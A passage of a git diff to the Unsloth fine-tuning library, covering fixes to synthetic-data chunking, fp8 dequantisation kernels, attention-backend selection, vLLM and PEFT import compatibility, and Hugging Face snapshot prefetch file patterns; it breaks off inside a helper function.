-        text = re.sub(r"^## (.+)$", r"<|section|>\1<|/section|>", text, flags = re.MULTILINE)
-        text = re.sub(r"^### (.+)$", r"<|subsection|>\1<|/subsection|>", text, flags = re.MULTILINE)
-        text = re.sub(r"```(\w*)\n(.*?)\n```", r"<|code|\1|>\2<|/code|>", text, flags = re.DOTALL)
+        text = self._CHAPTER_PATTERN.sub(r"<|chapter|>\1<|/chapter|>", text)
+        text = self._SECTION_PATTERN.sub(r"<|section|>\1<|/section|>", text)
+        text = self._SUBSECTION_PATTERN.sub(r"<|subsection|>\1<|/subsection|>", text)
+        text = self._CODE_BLOCK_PATTERN.sub(r"<|code|\1|>\2<|/code|>", text)
         return text
 
     def validate_dataset(self, dataset):
diff --git a/unsloth/dataprep/synthetic.py b/unsloth/dataprep/synthetic.py
index 90021c0c8d..6f025343f5 100644
--- a/unsloth/dataprep/synthetic.py
+++ b/unsloth/dataprep/synthetic.py
@@ -391,7 +391,7 @@ class SyntheticDataKit:
         assert os.path.exists(filename)
         assert hasattr(self, "tokenizer")
         if not hasattr(self, "max_seq_length"):
-            raise RuntimeError("Please use SynthetidDataKit.from_pretrained(...) first!")
+            raise RuntimeError("Please use SyntheticDataKit.from_pretrained(...) first!")
         if not hasattr(self, "overlap") or not hasattr(self, "max_generation_tokens"):
             raise RuntimeError("Please use prepare_qa_generation first!")
 
@@ -403,14 +403,32 @@ class SyntheticDataKit:
         )  # -128 to reduce errors
         if max_tokens <= 5:
             raise RuntimeError("Generation length is way too long!")
+        if max_tokens <= self.overlap:
+            # A non-positive stride (max_tokens - overlap) makes the n_chunks
+            # computation below divide by zero or go negative, so reject it.
+            raise RuntimeError(
+                f"The chunk size (max_seq_length - 2 * max_generation_tokens - 128 = "
+                f"{max_tokens}) must be larger than the overlap ({self.overlap}). "
+                f"Reduce overlap or max_generation_tokens."
+            )
         input_ids = self.tokenizer(text, add_special_tokens = False).input_ids
 
         # Get left and right boundaries
         length = len(input_ids)
-        n_chunks = int(np.ceil(length / (max_tokens - self.overlap)))
-        boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks)).astype(int)
-        boundaries = np.stack((boundaries[:-1], (boundaries + self.overlap)[1:])).T
-        boundaries = np.minimum(boundaries, length).tolist()
+        if length <= max_tokens:
+            # The whole document fits in one chunk window, so emit it as a single
+            # chunk. Routing it through the multi-chunk path below would drop it
+            # (the linspace/stack pairing emits one fewer range than boundary
+            # points) or, for a document shorter than the overlap, slice the wrong
+            # tokens via negative start indices. Empty doc -> no chunk.
+            boundaries = [[0, length]] if length > 0 else []
+        else:
+            # length > max_tokens > overlap here, so length - overlap > 0 and the
+            # linspace boundaries below are always non-negative.
+            n_chunks = int(np.ceil(length / (max_tokens - self.overlap)))
+            boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks)).astype(int)
+            boundaries = np.stack((boundaries[:-1], (boundaries + self.overlap)[1:])).T
+            boundaries = np.minimum(boundaries, length).tolist()
 
         filename, extension = os.path.splitext(filename)
         if filename.endswith("/"):
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index 5afd6f4b37..e5a5d01c2f 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -158,6 +158,11 @@ if not UNSLOTH_ENABLE_LOGGING:
     logging.getLogger("torchao").addFilter(
         HideLoggingMessage("Skipping import of cpp extensions due to incompatible torch version")
     )
+    # torch >= 2.11 path: torchao dlopens each prebuilt _C*.so and logs "Failed to load
+    # .../_C*.so" when one can't (ABI tag mismatch in the wheel, e.g. a cp310 .so under a
+    # cp312 runtime on Colab, or an arch-specific kernel the GPU lacks). It falls back to
+    # non-cpp paths and Unsloth doesn't use these kernels, so drop the cosmetic record.
+    logging.getLogger("torchao").addFilter(HideLoggingMessage("Failed to load "))
     # SyntaxWarning: invalid escape sequence '\.'
     warnings.filterwarnings("ignore", message = "invalid escape sequence", category = SyntaxWarning)
     # PYTORCH_CUDA_ALLOC_CONF is deprecated warning from torch
@@ -1487,6 +1492,143 @@ def disable_broken_wandb():
 # Stamped on stub modules so a second call is a strict no-op and so third
 # parties can introspect ``__unsloth_stub__`` to detect our patch.
 _UNSLOTH_STUB_SENTINEL = "__unsloth_stub__"
+_PEFT_TENSOR_PARALLEL_FALLBACK_SYMBOLS = (
+    "ALL_PARALLEL_STYLES",
+    "ColwiseParallel",
+    "EmbeddingParallel",
+    "RowwiseParallel",
+)
+
+
+def _extract_peft_tensor_parallel_imported_symbols():
+    """Return names PEFT imports from ``transformers.integrations.tensor_parallel``.
+
+    Parsed from ``peft.utils.save_and_load._maybe_shard_state_dict_for_tp`` to
+    avoid a stale hard-coded symbol list.
+    """
+    try:
+        import peft.utils.save_and_load as _save_and_load
+    except Exception:
+        return ()
+    try:
+        sharding_fn = _save_and_load._maybe_shard_state_dict_for_tp
+    except AttributeError:
+        return ()
+
+    try:
+        source = inspect.getsource(sharding_fn)
+    except Exception as exc:
+        logger.debug("Failed to inspect PEFT tensor-parallel imports: %r", exc)
+        return _PEFT_TENSOR_PARALLEL_FALLBACK_SYMBOLS
+
+    import_pattern = re.compile(
+        r"from\s+transformers\.integrations\.tensor_parallel\s+import\s*\((.*?)\)",
+        re.S,
+    )
+    import_pattern_single = re.compile(
+        r"from\s+transformers\.integrations\.tensor_parallel\s+import\s+([A-Za-z_][A-Za-z0-9_\s,]*)",
+        re.S,
+    )
+    matches = import_pattern.findall(source)
+    if not matches:
+        matches = import_pattern_single.findall(source)
+
+    symbols = []
+    seen = set()
+    for match in matches:
+        pieces = re.split(r"[,\n]", match)
+        for piece in pieces:
+            candidate = piece.strip()
+            if not candidate:
+                continue
+            if candidate.endswith(")"):
+                candidate = candidate[:-1].strip()
+            if not candidate.isidentifier():
+                continue
+            if candidate in seen:
+                continue
+            symbols.append(candidate)
+            seen.add(candidate)
+    return tuple(symbols) or _PEFT_TENSOR_PARALLEL_FALLBACK_SYMBOLS
+
+
+def _raise_on_peft_tensor_parallel_symbol_use(symbol_name):
+    raise NotImplementedError(
+        f"Unsloth: cannot use unsupported "
+        f"`transformers.integrations.tensor_parallel.{symbol_name}` on this "
+        f"transformers installation. Please upgrade transformers before "
+        f"using PEFT tensor-parallel adapter sharding features."
+    )
+
+
+def fix_peft_transformers_tensor_parallel_import_compat():
+    """Add placeholders to ``transformers.integrations.tensor_parallel`` for symbols
+    PEFT expects but this transformers build omits, keeping existing objects.
+
+    Returns ``True`` when patched, ``False`` when no patch is needed, ``None``
+    when transformers / PEFT context is absent.
+    """
+    try:
+        tensor_parallel_spec = importlib.util.find_spec("transformers.integrations.tensor_parallel")
+    except ModuleNotFoundError:
+        return None
+    if tensor_parallel_spec is None:
+        return None
+
+    required_symbols = _extract_peft_tensor_parallel_imported_symbols()
+    if not required_symbols:
+        return None
+
+    try:
+        tp_mod = importlib.import_module("transformers.integrations.tensor_parallel")
+    except ModuleNotFoundError as exc:
+        if exc.name not in {
+            "transformers",
+            "transformers.integrations",
+            "transformers.integrations.tensor_parallel",
+        }:
+            raise
+        return None
+    missing = [symbol for symbol in required_symbols if not hasattr(tp_mod, symbol)]
+    if not missing:
+        return False
+
+    def _install_symbol_placeholder(symbol_name):
+        if symbol_name == "ALL_PARALLEL_STYLES":
+
+            class _UnslothTensorParallelStyles(dict):
+                def __getitem__(self, key):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def get(self, *args, **kwargs):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def __contains__(self, key):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def __iter__(self):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+                def __len__(self):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+            value = _UnslothTensorParallelStyles()
+        else:
+
+            class _UnslothTensorParallelPlaceholder:
+                def __init__(self, *args, **kwargs):
+                    _raise_on_peft_tensor_parallel_symbol_use(symbol_name)
+
+            value = _UnslothTensorParallelPlaceholder
+            value.__name__ = f"UnslothTensorParallelPlaceholder{symbol_name}"
+
+        setattr(value, _UNSLOTH_STUB_SENTINEL, True)
+        setattr(tp_mod, symbol_name, value)
+
+    for symbol in missing:
+        _install_symbol_placeholder(symbol)
+
+    return True
 
 
 def _peft_stub_module_importable(name):
@@ -2349,11 +2491,9 @@ def _is_broken_vllm_error(error) -> bool:
             )
         ) or ("vllm" in message and "undefined symbol" in message):
             return True
-        # Also catch CUDA shared library mismatches during vllm import
-        # e.g. "libcudart.so.12: cannot open shared object file"
-        if (
-            "libcudart" in message or "libcublas" in message or "libnvrtc" in message
-        ) and "cannot open shared object file" in message:
+        # Forced extension load raises the bare loader error (no "vllm._C"
+        # wrapper); match any .so failure as callers feed only vLLM imports.
+        if "cannot open shared object file" in message:
             return True
         current = getattr(current, "__cause__", None) or getattr(current, "__context__", None)
     return False
@@ -2545,6 +2685,16 @@ def _clear_vllm_modules():
             sys.modules.pop(module_name, None)
 
 
+# vLLM's compiled extensions. A CUDA-major ABI break hits all of them, so
+# probing the eagerly-loaded _C and its siblings reliably trips it.
+_VLLM_COMPILED_EXTENSIONS = (
+    "vllm._C",
+    "vllm._C_stable_libtorch",
+    "vllm._moe_C",
+    "vllm._rocm_C",
+)
+
+
 def disable_broken_vllm(error = None):
     """Disable vLLM dynamically when its shared library is ABI-broken."""
     global VLLM_BROKEN
@@ -2562,6 +2712,15 @@ def disable_broken_vllm(error = None):
 
         try:
             import vllm  # noqa: F401
+
+            # Lazy vLLM lets a bare `import vllm` succeed even when an extension
+            # is ABI-broken; force-load each to surface the .so failure here.
+            # A missing one raises ModuleNotFoundError (skipped below).
+            for _ext in _VLLM_COMPILED_EXTENSIONS:
+                try:
+                    importlib.import_module(_ext)
+                except ModuleNotFoundError:
+                    pass
             return False
         except Exception as import_error:
             failure = import_error
diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.py
index ca608fa01b..935ffbb447 100644
--- a/unsloth/kernels/fp8.py
+++ b/unsloth/kernels/fp8.py
@@ -68,7 +68,9 @@ def weight_dequant_kernel(x_ptr, s_ptr, y_ptr, M, N, BLOCK_SIZE: tl.constexpr):
     n = tl.cdiv(N, BLOCK_SIZE)
     offs_m = pid_m * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
     offs_n = pid_n * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
-    offs = offs_m[:, None] * N + offs_n[None, :]
+    # tl.arange is int32, so offs_m * N overflows for tensors with more than
+    # 2**31 elements (e.g. flattened MoE expert stacks); index in int64.
+    offs = offs_m[:, None].to(tl.int64) * N + offs_n[None, :].to(tl.int64)
     mask = (offs_m[:, None] < M) & (offs_n[None, :] < N)
     x = tl.load(x_ptr + offs, mask = mask).to(tl.float32)
     s = tl.load(s_ptr + pid_m * n + pid_n)
@@ -327,11 +329,42 @@ fp8_block_matmul = (
 )
 
 
+def _blockwise_weight_dequant_any_shape(weight, weight_scale, block_size, out_dtype):
+    """Blockwise fp8 weight dequant for any shape: triton when the weight tiles
+    evenly into block_size, else a torch-native per-block scale expansion."""
+    m, n = weight.shape
+    if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+        weight_scale = weight_scale.to(torch.float32)  # e.g. float8_e8m0fnu scales break triton
+    if weight_scale.numel() == 1:
+        # Per-tensor scale: the normal forward stashes the un-expanded scalar,
+        # which repeat_interleave cannot grow to (m, n). Scale directly.
+        return (weight.to(torch.float32) * weight_scale.float()).to(out_dtype)
+    if m % block_size[0] != 0 or n % block_size[1] != 0 or block_size[0] != block_size[1]:
+        # Uneven tiling, or rectangular blocks. The triton kernel uses a single
+        # BLOCK_SIZE for both axes and derives the column scale stride from it, so
+        # it mis-indexes the scale when block_size[0] != block_size[1]. Expand the
+        # per-block scales in torch, which handles both dimensions independently.
+        s_full = weight_scale.repeat_interleave(block_size[0], 0)[:m]
+        s_full = s_full.repeat_interleave(block_size[1], 1)[:, :n]
+        return (weight.to(torch.float32) * s_full).to(out_dtype)
+    # Even tiling with square blocks: block-quant dequant with the real block size
+    # (weight_dequant would silently default to 128 and dequantize wrongly).
+    return weight_dequant_block(weight, weight_scale, block_size = block_size[0], dtype = out_dtype)
+
+
 class FP8BlockQuantLinear(torch.autograd.Function):
     @staticmethod
     def forward(ctx, X, weight, weight_scale):
         m, n = weight.shape
 
+        if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+            # Upcast (e.g. e8m0) returns a fresh tensor and drops any Python
+            # attribute, so carry block_size across the cast for the lookup below.
+            _scale_block_size = getattr(weight_scale, "block_size", None)
+            weight_scale = weight_scale.to(torch.float32)  # e8m0 scales break triton dtype mapping
+            if _scale_block_size is not None:
+                weight_scale.block_size = _scale_block_size
+
         # Original scale, saved for backward before any transformation
         original_weight_scale = weight_scale
 
@@ -360,6 +393,18 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         if not weight.is_contiguous():
             weight = weight.contiguous()
 
+        if X.shape[-1] % block_size[1] != 0:
+            # Hidden dim not divisible by the activation block: dequant + plain matmul.
+            # Use the original (un-expanded) scale so a scalar per-tensor scale keeps
+            # the fast scalar path in both forward and backward.
+            W_deq = _blockwise_weight_dequant_any_shape(
+                weight, original_weight_scale, block_size, X.dtype
+            )
+            ctx.weight = weight
+            ctx.weight_scale = original_weight_scale
+            ctx.block_size = block_size
+            return torch_matmul(X, W_deq.T).to(X.dtype)
+
         qinput, scale = act_quant(X, block_size[1])
         output = fp8_block_matmul(
             qinput,
@@ -371,11 +416,14 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         )
         ctx.weight = weight
         ctx.weight_scale = original_weight_scale  # Save original for backward
+        ctx.block_size = block_size
         return output.to(X.dtype)
 
     @staticmethod
     def backward(ctx, grad_output):
-        W_deq = weight_dequant(ctx.weight, ctx.weight_scale)
+        W_deq = _blockwise_weight_dequant_any_shape(
+            ctx.weight, ctx.weight_scale, ctx.block_size, grad_output.dtype
+        )
         grad_X = torch_matmul(grad_output, W_deq)
         del W_deq
         return grad_X, None, None
diff --git a/unsloth/kernels/geglu.py b/unsloth/kernels/geglu.py
index 3a628f105c..0ed325afa0 100644
--- a/unsloth/kernels/geglu.py
+++ b/unsloth/kernels/geglu.py
@@ -97,7 +97,7 @@ def _exact_backward_kernel(
     e_row = tl.load(e + offsets, mask = mask, other = 0).to(tl.float32)
     g_row = tl.load(g + offsets, mask = mask, other = 0)  # .to(tl.float32)
 
-    # Break e_row away for re-use
+    # Break e_row away for reuse
     # f = 1/2 * e * (1 + erf(1/sqrt(2) * e))
     f_partial_row = 0.5 * (tl.math.erf(tl.math.rsqrt(2.0) * e_row) + 1.0)
     f_row = f_partial_row * e_row
diff --git a/unsloth/kernels/moe/grouped_gemm/kernels/forward.py b/unsloth/kernels/moe/grouped_gemm/kernels/forward.py
index e95179dd9f..cb1f22d0b8 100644
--- a/unsloth/kernels/moe/grouped_gemm/kernels/forward.py
+++ b/unsloth/kernels/moe/grouped_gemm/kernels/forward.py
@@ -111,7 +111,7 @@ def _grouped_gemm_forward_kernel(
             while tidx >= processed_tiles and tidx < processed_tiles + num_tiles_per_expert:
                 tile_idx = tidx - processed_tiles
 
-                # Check if L2 cache re-use for this order is optimal
+                # Check if L2 cache reuse for this order is optimal
                 tile_m_idx = tile_idx % num_m_tiles
                 tile_n_idx = tile_idx // num_m_tiles
 
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 7a056cef82..1c75f8ce66 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -12,7 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-__version__ = "2026.6.9"
+__version__ = "2026.7.1"
 
 __all__ = [
     "SUPPORTS_BFLOAT16",
@@ -83,9 +83,13 @@ __all__ = [
     "verify_fp8_support_if_applicable",
     "_get_inference_mode_context_manager",
     "hf_login",
+    "maybe_prefetch_hf_snapshot",
     "is_moe_model",
     "get_moe_target_parameters",
+    "_select_moe_detection_targets",
     "make_fast_generate_wrapper",
+    "_mark_unsloth_disable_data_parallel",
+    "_patch_transformers_trainer_data_parallel",
 ]
 
 import torch
@@ -160,6 +164,85 @@ from unsloth_zoo.training_utils import (
 )
 
 
+def _iter_wrapped_models(model):
+    seen = set()
+    current = model
+    while current is not None and id(current) not in seen:
+        yield current
+        seen.add(id(current))
+        next_model = getattr(current, "model", None)
+        if next_model is None:
+            next_model = getattr(current, "base_model", None)
+        if next_model is None:
+            next_model = getattr(current, "module", None)
+        current = next_model
+
+
+def _patch_transformers_trainer_data_parallel():
+    try:
+        from transformers.trainer import Trainer
+    except (ImportError, ModuleNotFoundError):
+        return False
+
+    original_wrap_model = getattr(Trainer, "_wrap_model", None)
+    if original_wrap_model is None:
+        return False
+    if getattr(original_wrap_model, "_unsloth_data_parallel_patched", False):
+        return True
+    try:
+        supports_dataloader = "dataloader" in inspect.signature(original_wrap_model).parameters
+    except (TypeError, ValueError):
+        supports_dataloader = True
+
+    def _call_original_wrap_model(self, model, wrap_args, wrap_kwargs):
+        if supports_dataloader:
+            return original_wrap_model(self, model, *wrap_args, **wrap_kwargs)
+
+        if "dataloader" in wrap_kwargs:
+            wrap_kwargs = {k: v for k, v in wrap_kwargs.items() if k != "dataloader"}
+        return original_wrap_model(self, model, *wrap_args, **wrap_kwargs)
+
+    @functools.wraps(original_wrap_model)
+    def _unsloth_wrap_model(self, model, *wrap_args, **wrap_kwargs):
+        args = getattr(self, "args", None)
+        disable_data_parallel = getattr(model, "_unsloth_disable_data_parallel", False)
+        is_real_8bit = getattr(model, "is_loaded_in_8bit", False)
+        if (
+            args is None
+            or not disable_data_parallel
+            or is_real_8bit
+            or getattr(args, "n_gpu", 0) <= 1
+        ):
+            return _call_original_wrap_model(self, model, wrap_args, wrap_kwargs)
+
+        had_n_gpu = hasattr(args, "_n_gpu")
+        old_n_gpu = getattr(args, "_n_gpu", None)
+        args._n_gpu = 1
+        try:
+            return _call_original_wrap_model(self, model, wrap_args, wrap_kwargs)
+        finally:
+            if had_n_gpu:
+                args._n_gpu = old_n_gpu
+            else:
+                try:
+                    delattr(args, "_n_gpu")
+                except AttributeError:
+                    pass
+
+    _unsloth_wrap_model._unsloth_data_parallel_patched = True
+    _unsloth_wrap_model._unsloth_original_wrap_model = original_wrap_model
+    Trainer._wrap_model = _unsloth_wrap_model
+    return True
+
+
+def _mark_unsloth_disable_data_parallel(model, disable = True):
+    if disable:
+        _patch_transformers_trainer_data_parallel()
+    for module in _iter_wrapped_models(model):
+        setattr(module, "_unsloth_disable_data_parallel", bool(disable))
+    return model
+
+
 def resolve_hip_gpu_stats_name(gpu_stats):
     name = str(getattr(gpu_stats, "name", "") or "").strip()
     name = re.sub(r"\s*\([^)]*\)\s*$", "", name).strip()
@@ -340,6 +423,18 @@ def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_len
 _FLEX_EXCLUDED_MODELS = ("gpt_oss", "mllama", "nemotron_h", "modernbert")
 _FLEX_PREFERRED_MODELS = ("gemma3", "gemma3_text", "shieldgemma2")
 _SDPA_EXCLUDED_MODELS = ("gpt_oss",)
+# The loader (loader.py) forces supports_sdpa=False for these because their bundled
+# SDPA modules are wrong. Kept here, not in loader.py, so _is_sdpa_excluded can honor
+# them without a loader -> _utils import cycle (loader.py already imports from _utils
+# and re-exports this name for callers like sentence_transformer.py). Entries are matched
+# as substrings against a comma-joined model_types string ending in a comma, so "gemma3,"
+# matches a distinct "gemma3" entry but not "gemma3n", and "gemma3_text" matches the
+# EmbeddingGemma text model.
+DISABLE_SDPA_MODEL_NAMES = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
+    "gpt_oss",
+]
 _FLASH_EXCLUDED_MODELS = ("gpt_oss",)
 _EAGER_ONLY_PREFIXES = ("gemma3n",)
 _FLASH_ATTENTION_MAX_HEAD_DIM = 256
@@ -350,8 +445,23 @@ def _is_flex_excluded(model_type):
     return model_type in _FLEX_EXCLUDED_MODELS
 
 
+def _is_sdpa_disabled_by_name(model_type):
+    # Mirror the loader's DISABLE_SDPA_MODEL_NAMES check: loader.py builds
+    # model_types_all = ",".join(model_types) + "," and tests `name in model_types_all`.
+    # Rebuild the same trailing-comma form for a single model_type so the match is
+    # identical (e.g. "gemma3," matches "gemma3" but not "gemma3n", and "gemma3_text"
+    # still matches "gemma3_text").
+    model_types_all = model_type.lower() + ","
+    return any(name.lower() in model_types_all for name in DISABLE_SDPA_MODEL_NAMES)
+
+
 def _is_sdpa_excluded(model_type):
-    return model_type in _SDPA_EXCLUDED_MODELS
+    # SDPA is known-broken for these models, so an explicit sdpa request must not
+    # re-enable it. Two sources: _SDPA_EXCLUDED_MODELS (resolver-level, e.g. gpt_oss)
+    # and DISABLE_SDPA_MODEL_NAMES (loader-level, e.g. gemma3 / gemma3_text, which the
+    # loader also forces to supports_sdpa=False).
+    lowered = model_type.lower()
+    return lowered in _SDPA_EXCLUDED_MODELS or _is_sdpa_disabled_by_name(lowered)
 
 
 def _is_flash_excluded(model_type):
@@ -527,6 +637,12 @@ def _disable_flash_attention_if_needed(
     if disable_reason is None:
         return attn_implementation
 
+    # Only an implementation passed by the caller counts as an explicit request.
+    # Values read from the config are synthesized by the loaders (the language path
+    # seeds the config with attn_implementation="sdpa") or come from Transformers
+    # defaults, so they must not be treated as a deliberate user choice.
+    explicit_request = attn_implementation
+
     requested_attn_implementation = attn_implementation
     if requested_attn_implementation is None:
         requested_attn_implementation = _config_get(config, "_attn_implementation", None)
@@ -536,6 +652,20 @@ def _disable_flash_attention_if_needed(
     if requested_attn_implementation == "eager":
         return _set_attn_impl(config, "eager")
 
+    model_type = _config_get(config, "model_type", "")
+
+    # The disable reason is flash-specific: honor an explicit non-flash request from
+    # the caller instead of downgrading it. SDPA is honored unless the model's SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text); flex_attention
+    # is honored only when it is actually usable, since supports_flex_attention already
+    # rejects the excluded/broken/unavailable configs. This keeps an explicit request
+    # from selecting a backend the repo marks as wrong.
+    if explicit_request == "sdpa" and not _is_sdpa_excluded(model_type.lower()):
+        return _set_attn_impl(config, "sdpa")
+    if explicit_request == "flex_attention" and supports_flex_attention:
+        return _set_attn_impl(config, "flex_attention")
+
     if supports_sdpa:
         fallback_attn_implementation = "sdpa"
     elif supports_flex_attention:
@@ -548,7 +678,6 @@ def _disable_flash_attention_if_needed(
             if _is_flash_attention_requested(requested_attn_implementation)
             else "flash_attention_2"
         )
-        model_type = _config_get(config, "model_type", "")
         warning_key = (
             model_type,
             logged_attn_implementation,
@@ -762,7 +891,19 @@ def resolve_attention_implementation(
         final_attn_impl = requested_attn_implementation
         _set_attn_impl(config, final_attn_impl)
 
-    if not supports_sdpa and final_attn_impl == "sdpa":
+    # A caller who explicitly passes requested_attn_implementation="sdpa" keeps it even
+    # on a conservatively unsupported model, mirroring _disable_flash_attention_if_needed
+    # which honors an explicit sdpa request. The exception is a model whose SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text, which the loader also forces to supports_sdpa=False):
+    # an explicit request must not re-enable it, so it still downgrades to eager, just
+    # like flex falls back for _FLEX_EXCLUDED_MODELS. A synthesized/default sdpa
+    # (requested is None, so the value came from the model resolution above or the
+    # config) also downgrades.
+    honor_explicit_sdpa = requested_attn_implementation == "sdpa" and not _is_sdpa_excluded(
+        model_type
+    )
+    if not supports_sdpa and final_attn_impl == "sdpa" and not honor_explicit_sdpa:
         print(
             f"Unsloth: {(model_type_name or 'model').title()} does not support SDPA - switching to fast eager."
         )
@@ -824,6 +965,411 @@ logging.getLogger("transformers.tokenization_utils_base").setLevel(logging.CRITI
 TORCHAO_MSG = "Error: torchao not found, please install with `pip install torchao`"
 
 
+# Artifacts a Transformers/PEFT load never reads (ONNX/TF/Flax/CoreML/GGUF/training state), skipped
+# when prewarming so a mixed-format repo is not pulled in full.
+_PREFETCH_IGNORE_PATTERNS = (
+    "*.onnx",
+    "onnx/*",
+    "*.h5",
+    "*.msgpack",
+    "*.tflite",
+    "coreml/*",
+    "*.mlpackage/*",
+    "*.mlmodel",
+    "*.gguf",
+    # Training / checkpoint formats from_pretrained never reads.
+    "*.pt",
+    "*.pth",
+    "*.ckpt",
+    "optimizer.*",
+    "scheduler.*",
+    "rng_state*",
+    "trainer_state.json",
+    "events.out.tfevents*",
+    "checkpoint-*/*",
+)
+
+
+# Repo-root tokenizer / config / processor files from_pretrained reads from root even when weights
+# load from a subfolder. Exact names (no wildcard) so they match only root-level files.
+_ROOT_AUX_PREFETCH_PATTERNS = (
+    "config.json",
+    "generation_config.json",
+    "tokenizer_config.json",
+    "tokenizer.json",
+    "tokenizer.model",
+    "special_tokens_map.json",
+    "added_tokens.json",
+    "vocab.json",
+    "vocab.txt",
+    "merges.txt",
+    "spiece.model",
+    # More VOCAB_FILES_NAMES the slow tokenizer may fetch (DeBERTa-v2, Whisper, Mistral, XLM-R/mBART, Marian, FSMT/XLM, GPT-2).
+    "spm.model",
+    "normalizer.json",
+    "tokenizer.model.v3",
+    "sentencepiece.bpe.model",
+    "source.spm",
+    "target.spm",
+    "bpe.codes",
+    "vocab.bpe",
+    # More VOCAB_FILES_NAMES (RemBERT, FSMT) a distinct-tokenizer-repo warm must cache too.
+    "sentencepiece.model",
+    "vocab-src.json",
+    "vocab-tgt.json",
+    "chat_template.jinja",
+    "chat_template.json",
+    # chat_template="<name>" fetches additional_chat_templates/<name>.jinja.
+    "additional_chat_templates/*.jinja",
+    "preprocessor_config.json",
+    "processor_config.json",
+    "video_preprocessor_config.json",  # Qwen2.5-VL-style video processors
+    # trust_remote_code auto_map can name any module, so warm every *.py (tiny; none in a non-remote repo).
+    "*.py",
+    "*.tiktoken",  # tiktoken vocab (e.g. Qwen's qwen.tiktoken)
+)
+
+
+# Files a PEFT adapter load reads: config + weights (glob covers sharded adapters). Any merged
+# full-model weights the repo also ships match none of these.
+_ADAPTER_PREFETCH_PATTERNS = (
+    "adapter_config.json",
+    "adapter_model*",
+)
+
+
+# Weight files in a SUBDIRECTORY. A bare root load reads only root weights, so ignoring these drops
+# alternate-precision/experimental dirs (fp16/, experimental/). "*/*" spans "/" (HF fnmatch), so nested
+# weights match while root "model.safetensors" is kept. Only applied when weights_at_root (diffusion
+# keeps weights in subfolders).
+_SUBDIR_WEIGHT_IGNORE_PATTERNS = (
+    "*/*.safetensors",
+    "*/*.bin",
+    "*/*.h5",
+    "*/*.msgpack",
+    "*/*.pt",
+    "*/*.pth",
+)
+
+
+def _in_requested_load_scope(filename, subfolder):
+    """True if *filename* is in the location being loaded (*subfolder*, else root). Scopes the ".bin is
+    redundant when safetensors exist" test so a .bin-only subfolder keeps its .bin."""
+    filename = filename.replace("\\", "/")
+    if isinstance(subfolder, str) and subfolder.strip("/"):
+        return filename.startswith(subfolder.strip("/") + "/")
+    return "/" not in filename  # root load: no directory component
+
+
+# .safetensors training-state files that are NOT model weights (e.g. optimizer.safetensors next to a
+# real pytorch_model.bin); counting them as "model safetensors present" would drop the needed .bin.
+_NON_MODEL_WEIGHT_STEMS = frozenset(
+    {
+        "optimizer",
+        "scheduler",
+        "scaler",
+        "rng_state",
+        "training_args",
+    }
+)
+
+
+def _is_model_weight_safetensors(filename):
+    """True if *filename* is a model-weights safetensors, not a PEFT adapter/sidecar
+    (adapter_model.safetensors) or trainer-state (optimizer.safetensors). Only a real one proves the
+    .bin redundant; counting a sidecar would wrongly drop the needed .bin (fetched then without Xet fallback)."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    if not name.endswith((".safetensors", ".safetensors.index.json")):
+        return False
+    if name.startswith("adapter_"):
+        return False
+    # Stem before first dot: "optimizer.safetensors" -> "optimizer" (real shards kept); rng_state via prefix.
+    stem = name.split(".", 1)[0].lower()
+    if stem in _NON_MODEL_WEIGHT_STEMS or stem.startswith("rng_state"):
+        return False
+    return True
+
+
+def _is_canonical_variant_model_weight_safetensors(filename, variant):
+    """True for a canonical model-weights safetensors carrying the requested *variant*, in the forms
+    transformers reads (single, either numbered-shard layout, or the index). Strict (base must be
+    "model"): a sidecar like consolidated.<variant>.safetensors does not prove the variant .bin redundant."""
+    base = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    v = re.escape(variant)
+    return bool(
+        re.match(
+            rf"^(?:model\.{v}\.safetensors"
+            rf"|model\.{v}-\d{{5}}-of-\d{{5}}\.safetensors"
+            rf"|model-\d{{5}}-of-\d{{5}}\.{v}\.safetensors"
+            rf"|model\.safetensors\.index\.{v}\.json)$",
+            base,
+        )
+    )
+
+
+_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE = re.compile(
+    r"^(?:model\.safetensors|model-\d{5}-of-\d{5}\.safetensors|model\.safetensors\.index\.json)$"
+)
+
+
+def _is_canonical_model_weight_safetensors(filename):
+    """True for a canonical (non-variant) model-weights safetensors a default load reads (model.safetensors,
+    a numbered shard, or the index). Strict: an unrecognized name keeps both formats, so a variant-only
+    safetensors + pytorch_model.bin repo never has its .bin dropped for a no-variant load."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    return bool(_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE.match(name))
+
+
+def _adapter_repo_has_safetensors(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+):
+    """Best-effort: does the adapter repo ship a root safetensors adapter weight (making the .bin
+    redundant)? Scoped to root adapter_model* files; any failure returns False."""
+    try:
